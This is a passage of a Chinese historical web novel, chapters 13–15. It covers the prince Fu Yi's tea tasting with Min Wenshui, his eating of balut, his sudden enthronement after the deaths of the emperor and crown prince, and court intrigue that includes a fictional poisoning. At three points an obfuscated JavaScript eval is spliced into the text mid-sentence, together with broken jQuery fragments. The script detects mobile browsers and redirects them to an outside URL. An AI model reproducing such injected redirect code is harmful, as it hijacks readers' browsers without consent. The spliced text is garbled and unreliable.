见傅谊只扫了一眼自己的衣领,一副不想管它的样子,他不得已只得亲自动手,弯了弯身子,轻轻地替傅谊抚平衣襟上歪歪扭扭的折痕。
初时云梵刚弯腰的那会儿,傅谊还有些莫名其妙。
直待他起身离开时,傅谊方才回过神来,愣了半天才冒出一句“多谢”。
心中却是纳闷着云降心怎么比自己高那么多,还好戴高冠,下次自己定要暗中偷袭一次,把那四方平定巾给打下来才是。
之后傅谊蹦蹦跳跳地去找云卷云舒要吃的了,惟留云梵一人在屋子里待着。
云梵想起陶王世子方才的反应,不由回想起父亲曾同自己讲过一件事。
父亲尚为太子太傅之时,每日都要为太子殿下和东宫伴读陶王世子殿下讲书。
他刚上任那会,兴许是太过紧张,一日竟戴错了配饰,自己却并未发现。
彼时陶王世子还很乖巧,尚未暴露真实秉性。
那日下课,待太子先行离去后,世子殿下便鬼鬼祟祟地靠近他,探头探脑。
云离本以为小世子是来向自己请教学问的,遂正襟危坐,不想却听得一句“先生今日若是在朝廷上,就要被御史给参了”。【1】
说完生怕太傅没理会其中意思,还悄悄地指了指那件配饰,而后一溜烟地跑了。
于是乎父亲很感动,将此事记到了现在。
怪不得如此偏爱这小子呢。
13. 第 13 章
过了两日,傅谊仍不死心,再度前往桃叶渡去寻闵老子。
他既如此执着,是因他好友——大理寺卿宋骥之子宋徽猷(huīyóu)与自己啜茶时,曾提起过金陵一时有两行情人,王月生、柳麻子是也。
但要说这金陵的茶博士闵汶水,未见其人已闻其茶香,恨不令世子见之。
好巧不巧,闵老子难得上京之时,傅谊却因错被关在府里罚抄。
事后宋穆安还跟他炫耀了很久,直羡慕得傅谊眼红不已。
故而这一趟金陵之行,他就心心念念着向闵老子讨一碗茶喝,也让宋穆安眼馋一回。
不过好友所说的金陵另外两位奇人,傅谊其实都已见过了。
柳敬亭,号逢春,黧黑,满面癗,悠悠忽忽,土木形骸,故外号曰“柳麻子”。【1】
此人有个怪癖,那便是一日只说书一回,定价一两。十日前先送书帕下定,常不得空。
那日傅谊寻闵汶水不得便长了教训,提早约好时日,请柳麻子来说书。
其疾徐轻重,吞吐抑扬,入情入理,入筋入骨,摘世上说书之耳,而使之谛听,不怕其齰(zé)舌死也。
而另一人王月生,字微波,金陵朱市妓,善解吴歌,曲中羞与为伍。
好茶,善闵老子,虽大风雨、大宴会,必至老子家啜茶数壶始去。所交有当意者,亦期与老子家会。【2】
一日,老子邻居有大贾,集曲中妓十数人,群谇嘻笑,环坐纵饮。
傅谊与应天府尹甘清皆受邀在内,偶见其立露台上,倚徙栏楯,目氐娗羞涩,群婢见之皆气夺,徙他室避之。
然王月生其人寒淡如孤梅冷月,含冰傲霜,不喜与俗子交接;或时对面同坐起,若无睹者。
傅谊也知自己讨人嫌,就没好意思去人家面前打听闵老子,只得苦苦相侯,
这日等到日晡,方见闵汶水迟迟而归。
见之,大喜,欲叙话,却见闵老子遽起,言杖忘某所,遂去。【3】
偏生傅谊不信邪,不愿白跑一趟,终归是把闵老子给盼回来了。
“嗯?客未走,尚在耶?”
闵老子斜睥傅谊一眼,眼中半是惊讶半是困惑。
“谊慕汶老已久,今日不畅饮汶老茶,决不去!”
傅谊回之以一坚定目光,面上甚是真诚。
闻言汶水喜,自起当炉,起身泡茶。茶旋煮,速如风雨。
而后闵老子将傅谊领进茶室,桌上茶具琳琅满目,有荆溪壶、成宣窑磁瓯十余种,皆精妙绝伦。
傅谊心中大呼过瘾。
到底是闵老子,茶人不虚此盛名,用的茶具都极为讲究。
茶上后,傅谊于灯下视之,只觉茶色通透,似与茶器釉色无异,浑然一体,还有股香气扑面而来,令人拍案叫绝。
傅谊心生好奇,便问了句此茶的产地。
闵汶水曰:“阆苑茶也。”
然下一刻傅谊却是轻轻皱起了眉头,对这个回答甚为不满。
他啜饮一口茶水,细细品味,狐疑道:
“不对不对,莫要骗我!此为阆苑制法,但味不似。”
隐约间,他听见闵老子窃笑一声,竟是反问于他“那客人可知是何处产的?”
傅谊复又小啜一口。
“倒更像是罗岕?”
闵汶水听后,吐舌称奇。
傅谊接着又问,这水是何水?
闵老子回是惠泉水也。
“先生莫要哄我了,”傅谊彻底无奈,“无锡距金陵有千里之远,如果运到这里,水定不会如此清冽。”
“看来你也是懂茶之人,那我也不敢再欺瞒于你,”
这下子闵老子终于肯说实话了,为傅谊耐心解释道,
“取惠泉水前一定要淘井。在静夜等待新泉涌出之际马上取水,再用山石铺在水瓮底部,待到有风时方可行船。如此,让泉水保持磊石中的气息便可。”
闻言,傅谊恍然大悟:“原来如此,即使是寻常的惠泉水也比这样取出的泉水逊色不少,就更别提其他的水了!”
老人再次啧啧赞叹,连连称奇。
少顷,闵老子拿出一壶茶,往傅谊的杯中斟满,让他再来品下这茶。
傅谊依然品了一口,回之,
“香扑烈,味甚浑厚,春茶否?然方才煮的却是秋时采的。”
闵老子大笑而曰:“予年七十,精赏鉴者,无客比。”
二人遂定交,又是一番痛饮。
回云府的路上,傅谊仍有些飘飘然,忘乎所以。
在跨门槛的时候没留意,差点栽了个跟头,这才回过神来。
之前他与闵汶水论茶的时候太过尽兴,以至于都忘了问问老人家,那罗岕茶是从何而来的。
这也真是奇了,闵老子所用茶的品质,竟与他在京中林家茶楼里所喝到的差不多。
难不成这位茶博士的茶也是从林凡安处购来的?
能搞到贡品级的罗岕茶,既能供应给酒楼,又能卖给私人,那这林老板身后的家业,兴许比傅谊想象中的还要大上许多。
不过很快,傅谊就把这茬儿抛之脑后。
因为他瞧见了云卷云舒正围着一个炉子,在上面架了个锅煮东西。
云舒见他回来了,连忙招手示意小殿下赶紧过来。
傅谊自然十分好奇,屁颠屁颠跑过去凑热闹。
云卷见状,赶紧从锅中捞上来一物,放在碗中凉了许久,待到不烫了,递给傅谊,道:
“殿下来得正是时候,我们这活珠子才刚刚煮好,不知您以前吃过没?要不要来点?”
“活珠子?这是什么,鸡蛋吗?”
傅谊很是新奇地打量着碗中的东西,又瞅了瞅另一个碟子里装的椒盐,有些不解。
“哎哎哎,你又不告诉殿下这里面究竟是设密码,殿下从前又没见过,万一下嘴后怕了怎么办?这不是浪费吗!”
云舒埋怨地瞪了一眼云卷,随后解释道,
“殿下既然没吃过,那还是先提醒您一下为好。”
“这活珠子嘛,您说是鸡蛋也没错,不过它里头还有个没长成型的小鸡仔,如珠子般朦胧,所以我们就把这亦鸡亦蛋的玩意儿称之为活珠子。”
“不过您别怕,这未成形的小鸡仔只要沾点椒盐,闭上眼睛,囫囵一吞就完事了!里头的汤也是很鲜美的,您要不尝点儿?”
天人交战中,傅谊嘴最终还是屈服于美味,拿着调羹,壮着胆子磕碎了鸡蛋的大头处,小心翼翼地剥下蛋壳。
在云卷云舒鼓励的目光下,他最终下定了决心,撕开最后那层薄膜,将里面的汤汁一嗦而尽。
“好,好!陶王世子殿下好样的!您这一举,击败了大部分不敢吃活珠子的外乡人!”
云舒适时地喝了几声彩,让傅谊更加大胆。
他勇敢地拿着蘸了椒盐的筷子直指小鸡仔,闭着眼,仰头倒进嘴里吞掉。
不过他最终还是没敢嚼,将其咽下去后在舌尖上回了回味儿,觉着味道确实不错,便豪气地让云卷再来几个。
三人乐呵呵地围着炉子吃了一会儿,傅谊四处张望,这才发现似乎少了一人。
“诶,云降心人呢?他是不在府上吗,怎么不来一起吃?”
“殿下说大哥啊,他在灶房里煎旺鸡蛋呢,您想吃的话可以去尝尝,我们就不奉陪了。您若喜欢,到时候给公子留几个就行。”
云舒含含糊糊地答道,吃得那叫一个津津有味。
“为何?这旺鸡蛋又与活珠子有何区别?”
傅谊忍不住问了句,话说着,顺势将蛋黄狠狠地多蘸了些椒盐。
“呃,这个嘛,听公子说,应该是蛮好吃的。他手中的签子向来还只扎半鸡半蛋的那种,一口一个,还挺快。”
此时傅谊还没发现云舒说这话的时候,语气有点虚,仍在催促着他多讲讲。
“什么叫半鸡半蛋啊?那是不是还有全鸡,全蛋?你快讲讲吗,待会我好去直接拿。”
在听到“全鸡”的时候,云卷和云舒的眉毛齐刷刷地扭成了一团,全一副难以言表的表情。
无奈小世子追问得紧,全然不知接下来会面临什么。云舒只得硬着头皮,缓缓说出了这个残忍的事实,
“一般来说,旺鸡蛋就是没孵好的鸡蛋,俗称毛蛋。所以啊,世子殿下您可以想想,既然叫毛蛋,那里头就是长了毛的小鸡仔……”
“……?!!!”
傅谊惊了,被吓得愣了半刻,半天才从口中憋出一句“茹毛饮血啊”。
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505091|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,大伙都很有默契地没再提起过身庖厨内的云梵了。
傅谊还叽叽喳喳了半天,说是日后要是云卷云舒上京的话,他要下帖邀请他们来陶王府里吃家宴。
傅谊很是骄傲夸了半天自家娘亲和舅父做锅子的手艺,还有舅母酿的果酒,可谓是一绝。
云卷云舒很有礼貌地将此事敷衍了过去。
毕竟许久以前,父亲曾奉劝过他们,没事不要去蹭陶王府的家宴。
纵算陶王妃一家多特情好客也不行,那锅子,一般人可受不得。
彼时刚任太子太傅的离相先生还很年轻,不知轻重,某日同太子殿下应邀一起去陶王府吃了一顿。
翌日,二人不约而同地告了假,说是身体不适,时有腹泻。
这倒是便宜了陶王世子,平白无故多了一天休沐日,乐得又跑去宫外撒野了。
活珠子吃得差不多了,三人擦擦手,正准备收拾东西,忽然屋外传来一阵紧促的马蹄声,大门被人拍得“砰砰”直响。
云卷困惑地跑去开门,却见屋外乌泱泱站了一群人。
为首的是金陵守备魏国公、应天府尹,甚至还有守备太监领着的一群锦衣卫,皆是一副风尘仆仆的样子。
“敢问陶王世子殿下可是在贵府上?”
带头的金陵守备太监率先开口,气喘吁吁,神色相当焦急。
云卷顿时意识到这是有大事发生了,神色一变,连忙将云舒和傅谊拉过来。
傅谊尚还未搞清楚发生了什么,就看到有一群大人物黑压压地往门口一站,心中不安了起来。
金陵守备太监焦急地望着傅谊。
见他仍一副懵懵懂懂、一无所知的模样,急得“哎呦喂”地叫了一声,用尖细的声音连忙催促着锦衣卫赶紧替世子殿下收拾东西,说是陛下有急事要召陶王世子回京。
此情此景,云卷云舒不由面面相觑。
这架势,他们差点还以为是来抄家的,未料却是要把小殿下给带回京。
如此大动干戈,连锦衣卫都出动了,看来京中铁定是出事了。
二人当即表示会将世子回京一事守口如瓶,而后很识趣领着锦衣卫朝傅谊的住所走去。
傅谊原还准备再跟没见着面的云梵道个别,却被金陵守备太监和一个留下来的锦衣卫推搡着上了马车。
他还未开口,那金陵守备太监与那个锦衣卫救一同钻进了马车,吩咐车夫即刻出发。
风卷残云般,傅谊就被这群人不明不白地绑上了马车,心中难免有些怒气。
他正欲发作,一扭头,看清了那锦衣卫的模样,顿时不敢吱声了。
这还不是一个普通的锦衣卫。
此人名唤沈靳炳,袭任锦衣卫千户。
至于傅谊为何认得他,不光是与此人有过几面之缘,更因为他沈靳炳是一个不折不扣的疯子,也是司礼监秉笔太监兼提督东厂赵除佞的得力干将。
所以说,这不是金陵本地的锦衣卫,而是赵除佞特地从京中过来的。
傅谊方才隐隐意识到事态的严重性。
是以只能将目光投向金陵守备太监,当没看见沈靳炳。
而金陵守备太监正一直关注着窗外的动静。
此时已是夜禁时分,城内无人。
可他依旧不太放心,直至出城后才将马车上的帘子放下,转身凝视着傅谊,郑重其事道,
“此番匆忙将世子殿下带回京,还请殿下恕罪,实在是事急从权,只好如此行事。”
“不过您放心,那些锦衣卫都心中有数,不会乱动云府的东西,殿下不用一路上惦念着先太傅一家了。如今还是您的安危最为重要。”
“只不过,有些事小的们得先知会您一声。”
守备太监话锋一转,语气陡然变了个调,却是没了下文。
傅谊听得一头雾水,正欲发问,身边的沈靳炳却是开了口。
只见沈靳炳面色沉郁,是傅谊先前从未见过的神色,其口中说出的话不亚于平地一声雷:
“上月,大行皇帝龙驭宾天,而太子殿下又因太过忧愁忧思,猝然薨逝。为避免朝局动荡,厂公及内阁的几位都决定秘不发丧,以待您回京定夺,继承大统。”
世子殿下,不,从现在起,卑职就该称您为陛下了。”
14. 第 14 章
路上,沈靳炳同傅谊讲述了一番京中的情况。
自二月斋礁后,靖安帝偶感风寒,头疾复发,但在服用过蓝通玄炼制的朱丸后,龙体大有好转。
于是便不顾群臣阻拦,时常召蓝道长进宫炼丹。
五月十六,皇帝于夜半突然昏厥。醒后做的第一件事,就让赵除佞暗中命锦衣卫南下留都,护送陶王世子回京。
此外,靖安帝还将监国的重责交予太子傅谙。
然而这一举,却是彻底让朝廷炸了锅。
太子久居温泉行宫,自先皇病后不曾入宫侍疾。
先前就有不少御史弹劾其不孝,现如今太子更有不良于行的征兆。
于情于理,不少臣子皆以为不该将监国一权交由太子。
太子监国一事,沸沸扬扬闹了许多日。
不过傅谙无暇顾此,一边广召天下名医入宫为看病,一边忙着处理靖安帝未曾理会过的政务。
六月初,吏科给事中何裘进药,献上两枚红色的仙丹与一张残损的丹方,说是可医陛下风疾。【1】
太子本不喜老庄之道,但事已至此,不得不召御医们商议。
经由医官的检验与试药,他们一致认定此丹无害,便将其送到御塌前,在群臣的注视下,服侍皇上服用。
待诸臣退至偏殿不久,内侍传出圣上大觉温润舒畅的消息,臣子们听后遂放心离去。
至丑时,先皇派赵除佞传话,言上恐药力竭,欲再进一丸。
然而何裘献上来的仙丹已用尽,其丹方更是有几处破损,辨认不出该用何种药材。
御医多以为此丹不宜再服,但无奈圣上催得甚急,赵除佞只好让蓝通玄依循丹方摸索着炼制。
在靖安帝的连声催促中,蓝通玄紧赶慢赶,终炼出朱丸供以皇上服用。
诸位大臣依旧问询圣上服后情况,蓝通玄言圣体安适如前,平善如初。
谁也不曾料到,次日五更靖安帝病情加剧,龙驭上宾了。
突如其来的噩耗,直打了众人一个措手不及。
户部侍郎萧藩当机立断,指控蓝通玄蓄意谋害圣上,论罪当诛。
蓝通玄大喊冤枉,言其补过的丹方经由御医们查验,理当无碍,不知为何会发生这般事情!
赵除佞对此深以为然,连忙替其辩解,说是蓝道长的炼丹术诸位有目共睹,若是此人包藏祸心、蓄意谋害皇上,为何先前从未动手,偏要在众目睽睽之下行此谋逆之举?
同时他向太子提议,即刻让锦衣卫审讯何裘,看看究竟是不是丹方出了问题。问清楚了,也好日后还吏科给事中一个清白。
于是议论纷起,群臣之间相互攻讦。
然太子对此置若罔闻。皇考宾天,他悲怮欲绝。
之后他即命礼部速速草拟大行皇帝的谥号与庙号,并将朱丸案交给三法司,由大理寺卿宋骥亲自审理。
同时,太子声称圣上宾天的消息不可立即昭告天下,应待礼部议完相关事宜,朱丸案水落石出后再正式发引。
更何况他认为秋闱在即,绝不可误了诸位考生的前途。
太子监国期间,沈靳炳尚还在去金陵的途中。所有消息,皆来自手下锦衣卫送来的加急书信。
信上言,太子一直操劳于国丧与朱丸案的判决,双腿彻底残废,出行皆需轮椅代步。
群臣接连追问内阁与司礼监,问先皇可有立遗诏。
而萧首辅与赵除佞皆闪烁其辞,顾左右而言他。
太子也未曾正面回应过。
六月十四日卯时,太子一贴身宦官黄保忽向司礼监禀报,言太子自皇考崩逝后哀痛不已,水浆不入口,每哭辄恸绝。左右欲启闻,犹不许,是以积劳成疾,于十四日丑时二刻薨,时年二十又一。
司礼监与内阁闻之皆骇愕,唯恐朝局更为动荡,遂决定秘不发丧。
明面上掩饰为太子抱病修养的假象,暗中熔锡制内棺,装殓太子遗体。
后又以六百里加急传信于金陵守备魏国公、金陵守备太监与应天府尹,急召陶王世子回京继位。
彼时沈靳炳刚至金陵城郊,从守备太监处得知太子薨逝的消息,更是片刻不敢停歇,连同金陵的锦衣卫直奔云府。
此次傅谊从留都赶至京城,堪堪只用了一个月不到。
当日,内阁首辅萧锵公开大行皇帝遗诏,遣百官迎取陶王世子,嗣皇帝位。
傅谊猝然被扶上皇位,尚未来得及为太子哥哥与叔父哀伤,就被内阁与司礼监催促着登基称帝。
他当众宣高先太子死讯,与礼部定议先皇庙号世宗,谥曰钦天履道英毅神圣宣文广武洪仁大孝肃皇帝,先太子谥曰懿文。【2】
同时将世庙与懿文太子发引的日子定在一起,赐各文武大臣麻布一匹以做孝服。
八月初九,新皇傅谊衰服告几筵,傅谦承父爵陶王随班行礼。
自本日起至初十二止,百官衰服上朝。京师内外至祔祭日止,禁乐,至葬毕,禁屠宰。
八月十一遣官祭金水桥、午门、端门、承尺门、御桥、大明门、德胜门、清河桥、沙河、京都应祀神祇并经过土处应祀神祠。【3】
十二日,钦天履道英毅神圣宣文广武洪仁大孝肃皇帝与懿文太子的梓宫正式发引,葬长陵。
傅谊身为皇帝,跟随着梓宫从大明门正门出,傅谦及其他官员和藩王则从大明门左门出。
兄弟俩步行至德胜门,换乘马匹,行至皇陵。
这一日,京城的天很是阴沉。
一路上还有不少百姓沿途设祭。
傅谊抬眼望了眼天,乌云密布,一如二月斋礁,他与福安哥哥回府的那一次。
然未料,那日便是他与福安哥哥见的最后一面。
现如今物是人非,他心中沉甸甸的,似有千万情绪淤塞在胸口。
像天边层层叠叠的乌云,看着甚是厚实,此刻却是一滴雨也落不下来。
至陵寝,二人去献殿行礼。
这一套流程很是繁琐复杂。
傅谊在礼官的指示下,跟个傀儡似的浑浑噩噩地叩拜、献帛献酒。
在终献前,傅谦悄悄地从衣袖中掏出了个小锦囊,趁机从里面抓了一把东西放至傅谊手中,用眼神示意兄长将其放入酒盏。
刹那间傅谊还没反应过来。
直至他悄然松开手掌,才发现是一些零碎的干花。
闻香味,应当是由梅花制成。
傅谊当即心下了然,举杯时借由衣袖的遮掩,将梅花花瓣尽数撒入酒中,为先太子祭上了最后一杯特殊的佳酿。
返回途中,傅谊悄悄与傅谦耳语,问这梅花干花是从哪里来的。
傅谦道,这把干花其实由两类梅花制成。
一类是傅谊先前从太子那讨来的病梅,松了束缚后,种在庭院中长势甚好,便摘了些许制成干花。
还有一类,是傅谊在去金陵途中,寄给傅谙的那剪寒梅。
只可惜在寄到先太子手中之时,梅花因路途遥远不堪颠簸,生生折了几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505092|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处。
傅谙不忍堂弟的一番好意被辜负,便让傅谦把它留着做成干花,后装进一个由白底织金的云锦帕子制成的香囊,日日随身佩戴。
在太子薨逝的那日,身边那个小宦官黄保曾来过陶王府,将这枚香囊托付给傅谦,让他小心保管,日后转交给傅谊。
傅谦深知傅谊的脾性。兄长送出去的东西,断然没有日后再收回的道理。
是以今日,他就趁人不备之时,将香囊里头的干花花瓣取出部分,就权当作是为祭奠先太子的一番心意啦。
傅谊听完,沉默不语。
许久,他才沉声夸赞了一句傅谦做得很好,并让弟弟回去将那香囊给烧了,救烧在陶王府中那棵太子送的梅树下。
二人方至京城城门外,忽地下起了一场瓢泼大雨。
百官身着縗服在城外迎接,排好序列,行五拜三叩首大礼,丝毫未因突如其来的大雨扰乱丧礼流程。
至午门,新皇亲迎神主,将神主请入几筵殿,百官则在思善门外继续磕头行礼。
傅谊由殿内向殿外看去。
地上满是泥泞污水,疾风骤雨毫不留情地往群臣的身上砸,将他们浑身上下都浇了个透。
他于心不忍,便让左右吩咐下去,不必再跪了。
不过他的好心肠并没有得到廷臣的感激。
事后有一位翰林院修撰写了一则奏本,引经据典地同新皇论孝道。【4】
这是新皇继位以来收到的第一次弹劾。
就连内阁的几位大学士都觉得,这位翰林院修撰实在是不近人情。
但当事人不以为然,洋洋洒洒写了不少内容,于朝堂之上高谈阔论起来。
众人皆以为新皇会大发雷霆。
傅谊的叔父,不,如今应该称之为国舅的岳侍郎都已打好腹稿,就等着新皇一怒,马上去救场了。
然而出人意料的是,新皇只在那静静地听着。
待到翰林院修撰说完,他才发了声,请此人再诵一下《祭十二郎文》的全篇。
闻言,那名翰林院修撰有些困惑。
他是在自己的奏本里引用了韩昌黎所著的这篇文章,不过只有一两句而已。
不过既然圣上都已开口,想必是听进去了自己的肺腑之言。
于是他更加慷慨激昂,一字不漏地背诵了全篇,还借题发挥,又指责了新帝几句。
逾数日,当值中秋。
因尚还在国丧期间,宫中就没有大肆操办中秋宴。
民间也一如既往地向宫中供奉了不少当地特产。
今年的收成还算可以,秋风吹蟹膘肥,故而送进宫中的贡品,有不少都是足有四两的阳澄湖大闸蟹。
然新皇似是很不喜食蟹。
帝见之,即命左右撤去席中肥蟹,仅余数只供太后与陶王食之。
当夜,有人见圣驾打马出宫门,疾驰而过。
翌日清晨,皇陵禁军巡视四方,见懿文太子陵寝前的石几筵上,平白无故堆上了不少螃蟹。
且螃蟹的个头还都不小,约莫着皆有四两之重。
一名眼尖的禁军发现,螃蟹之下,还压了块小石板。
他小心翼翼地将其抽出,本欲将这无关紧要之物扔掉,却见石板之上刻有几字。
也不知这些字是由何人所写,刻得歪七扭八,却极为有力道。
他琢磨了半天,方认清是这么一句:
“吾与汝俱少年,以为虽短暂相别,终当久相与处。”【5】
15. 第 15 章
自先皇龙驭归天,新帝登基后,京中最辛苦最忙活的当属礼部。
就连如今已是国舅爷的岳侍郎也丝毫不例外,并不因好外甥荣登大宝而获得赐假的殊荣,依旧任劳任怨地跟着上司季尚书一起焚膏继晷,宵衣旰食。
季无忧亦是如此辛劳。
他已经许久没有过休沐了。
以至于今日他进萧府的时候,步子都是虚浮着的。
这可把萧藩给吓了一跳。
“优游兄,你可还好?要不先去偏房歇会?”
季无忧摆手,强打起精神回道:“不打紧,近来我早已习惯,还是老师的事打紧。”
“早就听闻圣上尚未世子时就颇能折腾人。今日一见,优游兄实在是辛苦了。”
萧藩以一种很是同情的目光望向季无忧。
“其实比起岳侍郎,我还真没什么……他毕竟是国舅爷,又在礼部当值,圣上一有什么问题最先想到的还是他这个亲舅舅。昨日放衙,岳侍郎还是被昆将军给架回去的,看来着实累得不轻。”
一想起在礼部那段暗无天日的日子,季无忧的眼神不免又空洞了起来。
“对了,岳侍郎可曾对先皇与先太子之死有过怀疑?”
萧藩一边将季无忧引入厅中,一边问起一个他最为关心的问题。
“他应当并未察觉。给先太子下毒一事做得很是隐秘,就连太子身边那名为黄保的小宦官都没发现异样。不过此人已在新皇身边伺候着了,我们也不好再动他。”
“此人仍需留意,我再让宫中的人盯紧些。”
萧藩还是不太放心,将此事记在了心中,又提起了另外一件事。
“说来宋骥那个老狐狸至今还不定案,弄得我与父亲都有些不安。我记得宋骥之子是事叫宋徽猷吧?受了其父恩荫也进了大理寺,自幼与皇上相交甚好。若是圣上有心彻查朱丸案,就不可能不去问宋徽猷。”
“亦或者宋骥只是在等,在等皇上的意思。不过没准先帝之死还真是个意外,料他赵除佞再如何嚣张也不敢杀了先皇。”
萧藩轻哼两句,满脸不屑,
“对于他们这种阉人来说,陛下才是他们的天。没了皇上的庇护,他们还能蹦跶多久?不顾过此事倒也能把蓝通玄拖下水,我们也不亏。”
“我也觉得先皇之死确实凑巧。何裘献丹之前我们还命人反复检查过,确保其无害才献给先皇。本是想借此机会邀个功,未料竟是出了这样大的差错。”
季无忧一副忧心冲冲的模样,眉头紧锁,“只怕有人觉得此事不是意外,想大作文章。”
闻言,萧藩的脸色顿时阴沉了下来。
“你是说那个曾在广西当知县的梁纲?自他离任后不过短短半年就入觐留部,考选为河南道掌道御史,还真是不可小觑。”
“是我失算了,竟忘了他与齐涵虚乃是同年同乡,”季无忧一脸懊恼,“齐涵虚身死时他尚在江西当知县,不闻京中事。如今他与阉党走得很近,八成是知道这其中的原委。真是平白添了一个仇敌啊!”
萧藩面上阴云密布:“梁纲掌河南道御史,又结交权阉,说那赵除佞不想在京察中横插一脚我都不信。京察素来由吏部、都察院及河南道掌道御史共同主持,而吏部尚书魏与归没那闲心掺和我们和阉党的事,剩下的就只有都察院那边,我们可是得好好争取一番。”
“是。”
季无忧应了一声,似是又想起什么,连忙接着道,
“对了小阁老,您可知皇上进京是由赵除佞手下一名锦衣卫千户沈靳炳护送?这岂不是就让他们有了从龙之功!”
“该死,我们这是被老太监给摆了一道,”萧藩愤愤锤了下桌子,“他怕是当时就已做好要立陶王世子为新皇的准备,我们毒杀太子反倒是多此一举,给他当了垫脚石。”
“沈靳炳护送皇上入京一事,尤其是派人混入金陵锦衣卫当中,你务必要将它们宣扬出去!最好是把朝堂上那些事不关己高高挂起的老狐狸们给都搅进来。哼,我就不信到这群人到时候还能坐得住!”
“是,谨遵小阁老指示。”
几日后,待礼部商议完新朝年号,内阁的部署也做了一次调整。
擢礼部右侍郎岳渊峙为东阁大学士兼翰林院掌院学士,准许入阁参政。
下了朝,刑部尚书文华殿大学士程国泰同魏与归并肩走在宫道上。
自先太子太傅云离辞官后,先皇便把教授太子的重任交给了他们,让二人分别兼任詹士府左右詹事为太子讲学。
而当今圣上还是陶王世子,身为东宫太子伴读之时,也曾随着程国泰和魏与归学过一阵子,是以此二人也算得上是今上的先生。
只不过彼时陶王世子贪玩,且先太傅离京后更是胆大妄为,不思进取肆意旷课,常把程阁老气得够呛。
如今陶王世子当了皇帝,似乎也没有太多长进之处。
可谓是从未让人省心过。
就比如说圣上的口癖,仍然改不掉自称,就连在朝会上也一直是“我”“我”“我”地说个不停,丝毫记不得要称“朕”。
程国泰与别的大臣也不知苦口婆心地劝了多少次,皇上仍然不记得改口。
虽然皇上被人批评的时候总是摆出一副恍然大悟、痛定思痛的模样,并诚恳地表示着下次一定改。
但之后脱口而出的往往都是“我朕”。趁人一不留神,又悄悄地变回了“我”。
程国泰和礼部尚书季无忧为此没少操心过,反倒是礼部侍郎岳渊峙和魏与归已经看开了。
魏与归更是直言,圣上若是改不掉这口癖就这样吧,与其让诸臣与皇上如此来回地拉锯,“我朕”也不是不行。
依皇上的脾性,能妥协到这一步已经很不错了。
此话一出,魏与归自然是没少被御史们弹劾上那么几句。
不过相较于对皇上,御史们对吏部尚书的弹劾可谓是不痛不痒。
只因魏与归乃是军户出身,会些拳脚功夫。
若是偶有大臣们情绪激昂,一言不合便在朝堂捋起袖子干架,一般都是由他负责将双方拉开。
而魏与归又是徽州歙县人士。徽州民习律令,性喜讼。
中进士前,他为了凑上京赶考的路费,没少替人写讼状赚钱。
打也打不过,骂也骂不过,御史们对他无可奈何,只敢私下里嘴他几句,反正当面是不敢跟魏大人硬杠的。
毕竟魏与归那张嘴实在是太厉害了,狠起来连关系最好的程国泰也会被他损得体无完肤。
所以但凡朝堂上发生斗殴,他只负责把人拉开,劝和的事一概不管。
剩下的则由首辅萧锵和老好人大理寺卿宋骥和稀泥,避免两方因魏与归的冷嘲热讽而使矛盾激化。
而程国泰则与先太傅云离同为金陵人士,祖籍金陵上元县。
彼时云离还在朝,尚未当太子太傅前,朝堂上就属他们仨最为寒碜。
三人同出寒门,穷得叮当响,住得也偏僻。
为了按时上朝,他们每日三更半夜就要结伴出门赶路。
至于为什么要结伴,自然是多一人好多个照应。
曾有位官员在雨夜里奔赴早朝,结果因摸黑过桥而失足落入河中,把自己的命给搭上了。
此后所有住得远的官员们都当引以为戒,尽量同旁人一道走,平安到达紫禁城再做最后的冲刺。
是以到了宫门,云离魏与归和程国泰赶至午门时,从脸到脖子素来都是通红一片。
而程国泰性耿介,又是个暴脾气,时人戏称“赤面凶神”。
不过此绰号当事人并不知晓,还是云离任太子太傅时,无意间从陶王世子处得知的。
云离乍一听,差点乐疯了。
但他明面上还是要维持一个肃穆的形象,只得强忍着笑意罚了傅谊抄书长记性,回去后就对着程国泰大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505093|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肆嘲笑一番。
可惜造化弄人,之后云离因发妻病逝而心灰意冷,辞官回金陵清修。
走之前,他还语重心长地叮嘱好友务必尽心竭力教导太子与陶王世子,还说此乃他毕生之所愿。
程国泰自是满口应下。
不用云离相提醒,他也会这么做。
无论对方是何种身份,是陶王世子还是当今圣上,程国泰都从未动摇过。
就算有时候翰林院被某不知名人士闹得鸡飞狗跳,官员们不慎被西苑里挖的坑给绊倒,甚至素来无动于衷的魏与归都被气得想直接给皇上来上一拳,程国泰都一如既往地诲人不倦,一心想将圣上引入正道。
所以今日下朝后,程国泰便单刀直入地问魏与归:
“遇之,不久内阁就快拟好了让圣上由小宗入继大宗的票拟,你迟迟不表态,可是不赞成此举?”【1】
